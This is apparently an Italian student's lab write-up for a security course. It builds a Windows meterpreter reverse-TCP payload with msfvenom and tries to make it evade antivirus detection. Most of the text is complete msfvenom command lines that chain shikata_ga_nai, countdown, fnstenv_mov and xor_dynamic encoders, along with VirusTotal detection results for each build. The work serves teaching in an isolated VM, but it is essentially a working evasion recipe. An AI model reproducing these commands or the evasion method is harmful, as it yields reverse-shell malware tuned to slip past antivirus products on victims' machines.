

Esercizio.

Esercizio di Oggi: Creazione di un Malware con Msfvenom

Obiettivo dell'Esercizio

L'esercizio di oggi consiste nel creare un malware utilizzando msfvenom che sia meno rilevabile rispetto al malware analizzato durante la lezione.

Passaggi da Seguire

1. Preparazione dell'Ambiente Assicuratevi di avere un ambiente di lavoro sicuro e isolato, preferibilmente una macchina virtuale, per evitare danni al sistema principale.
2. Utilizzo di msfvenom per generare il malware.
3. Migliorare la Non Rilevabilità
4. Test del Malware una volta generato.
5. Analisi dei Risultati Confronta i risultati del tuo malware con quelli analizzati durante la lezione. Valuta le differenze in termini di rilevabilità e discuti le possibili migliorie.

Conclusione

L'obiettivo di questo esercizio è non solo creare un malware funzionale, ma anche sviluppare la capacità di migliorare la non rilevabilità. Questo tipo di pratica è essenziale per comprendere meglio le tecniche utilizzate sia dagli attaccanti che dai difensori nel campo della sicurezza informatica.

Settaggio macchina Kali Linux

Imposto la scheda di rete in Bridge e accendo la VM.

Controllo l'indirizzo IP della VM.

```
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:04:42:0f brd ff:ff:ff:ff:ff:ff
    inet 192.168.1.197/24 brd 192.168.1.255 scope global dynamic noprefixroute eth0
        valid_lft 21593sec preferred_lft 21593sec
    inet6 fe80::cd23:4f4a:dd23:69a8/64 scope link noprefixroute
        valid_lft forever preferred_lft forever
```

Generazione di malware attraverso msfvenom.

Prima di tutto provo il malware delle slide per comprendere il meccanismo.

```
(kali㉿kali)-[~/Desktop/Msfvenom]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 100 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 138 -o polimorficomm.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
```

Lo carico su Virustotal.com per capire il grado di rilevabilità.

8ee6f80b491bc289fe2de601f4719abf4194617f2dc2d5ab5f86cee98872ea0e

9 / 62
Community Score

9/62 security vendors flagged this file as malicious

Reanalyze Similar More

8ee6f80b491bc289fe2de601f4719abf4194617f2dc2d5ab5f86cee988...
polimorficomm.exe

Size: 10.55 KB
Last Analysis Date: a moment ago

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label: metacoder/shikata
Family labels: metacoder shikata

Security vendors' analysis

Security vendors' analysis		Do you want to automate checks?	
ALYac	Exploit.Metacoder.Shikata.Gen	Arcabit	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen	CTX	Unknown.exploit-kit.metacoder
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)	eScan	Exploit.Metacoder.Shikata.Gen
Fortinet	Data/Shikata.Altr	GData	Exploit.Metacoder.Shikata.Gen
VIPRE	Exploit.Metacoder.Shikata.Gen	Acronis (Static ML)	Undetected
AhnLab-V3	Undetected	AliCloud	Undetected

Provo ad incrementare le iterazioni di codifica da applicare (da 100 a 150).

```
(kali㉿kali)-[~/Desktop/Msfvenom]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -o polimorficomm2.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
```

La situazione migliora leggermente.

https://www.virustotal.com/gui/file/9b69e639dde5dccc2bfc32c7adc586ba2ac115cf8fa7e5d706bd3b77d573359e

8 / 62 Community Score

8/62 security vendors flagged this file as malicious

9b69e639dde5dccc2bfc32c7adc586ba2ac115cf8fa... Size 12.31 KB Last Analysis Date a moment ago

polimorficomm2.exe

mz

Reanalyze Similar More

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label metacoder/shikata Family labels metacoder shikata

Security vendors' analysis Do you want to automate checks?

ALYac	Exploit.Metacoder.Shikata.Gen	Arcabit	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen	CTX	Unknown.exploit-kit.metacoder
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)	eScan	Exploit.Metacoder.Shikata.Gen
GData	Exploit.Metacoder.Shikata.Gen	VIPRE	Exploit.Metacoder.Shikata.Gen
Acronis (Static ML)	Undetected	AhnLab-V3	Undetected

Cerco la lista degli encoders

```
(kali@kali) - [~/Desktop/Msfvenom]
msfvenom --list encoders
```

^[[A

Framework Encoders [--encoder <value>]

Name	Rank	Description
cmd/base64	good	Base64 Command Encoder
cmd/brace	low	Bash Brace Expansion Command Encoder
cmd/echo	good	Echo Command Encoder
cmd/generic_sh	manual	Generic Shell Variable Substitution Command Encoder
cmd/ifs	low	Bourne \${IFS} Substitution Command Encoder
cmd/perl	normal	Perl Command Encoder
cmd/powershell_base64	excellent	Powershell Base64 Command Encoder
cmd/printf_php_mq	manual	printf(1) via PHP magic_quotes Utility Command Encoder
generic/eicar	manual	The EICAR Encoder
generic/none	normal	The "none" Encoder
mipsbe/byte_xori	normal	Byte XORi Encoder
mipsbe/longxor	normal	XOR Encoder
mipsbe/byte_xori	normal	Byte XORi Encoder
mipsle/longxor	normal	XOR Encoder
php/base64	great	PHP Base64 Encoder
php/hex	great	PHP Hex Encoder
php/minify	great	PHP Minify Encoder
ppc/longxor	normal	PPC LongXOR Encoder
ppc/longxor_tag	normal	PPC LongXOR Encoder
ruby/base64	great	Ruby Base64 Encoder

Provo a cambiare encoder tenendo conto di quelli che hanno come rank excellent o normal e sostituisco a x86/countdown x86/fnstenv_mov.

```
(kali@kali)-[~/Desktop/Msfvenom]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -f raw | msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -o polimorficomm3.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
Attempting to encode payload with 150 iterations of x86/shikata_ga_nai
```

Otengo lo stesso risultato.

399d2729aaa67614be7462e328909f11c82949fc103177a1328c7bb96164c92a

8 / 62 Community Score

8/62 security vendors flagged this file as malicious

399d2729aaa67614be7462e328909f11c82949fc103177a1328c7bb9... polimorficomm3.exe

Size: 13.48 KB | Last Analysis Date: a moment ago

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label: metacoder/shikata | Family labels: metacoder, shikata

Security vendors' analysis

Vendor	Detection
ALYac	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)
GData	Exploit.Metacoder.Shikata.Gen
Acronis (Static ML)	Undetected
AliCloud	Undetected

Provo a cambiare:

```
(kali@kali)-[~/Desktop/Msfvenom]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -f raw | msfvenom -a x86 --platform windows -e x86/fnstenv_mov -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 150 -o polimorficomm3.exe
Attempting to read payload from STDIN...
```

Stesso risultato.

https://www.virustotal.com/gui/file/ba25e4d90f3921a7ea81c4fc14de94...
 Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking DB OffSec

ba25e4d90f3921a7ea81c4fc14de94454e62f8400b2db12053abdae5cbc556f

8 / 62
Community Score

8/62 security vendors flagged this file as malicious

Reanalyze Similar More

ba25e4d90f3921a7ea81c4fc14de94454e62f8400b2db12053abdae... Size 15.04 KB Last Analysis Date a moment ago

polimorficomm3.exe

DETECTION DETAILS COMMUNITY

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks.

Popular threat label metacoder/shikata Family labels metacoder shikata

Security vendors' analysis Do you want to automate checks?

ALYac	Exploit.Metacoder.Shikata.Gen	Arcabit	Exploit.Metacoder.Shikata.Gen
BitDefender	Exploit.Metacoder.Shikata.Gen	CTX	Unknown.exploit-kit.metacoder
Emsisoft	Exploit.Metacoder.Shikata.Gen (B)	eScan	Exploit.Metacoder.Shikata.Gen
GData	Exploit.Metacoder.Shikata.Gen	VIPRE	Exploit.Metacoder.Shikata.Gen
Acronis (Static ML)	Undetected	AhnLab-V3	Undetected
AliCloud	Undetected	Antiy-AVL	Undetected

Provo a cambiare formato in base64

```
(kali@kali)-[~/Desktop/Msfvenom]
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.197 LPORT=5959 -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/xor_dynamic -i 200 -f raw | msfvenom -a x86 --platform windows -e x86/shikata_ga_nai -i 200 -f base64 -o polimorficomm7.exe
Attempting to read payload from STDIN...
Attempting to read payload from STDIN...
Found 1 compatible encoders
```


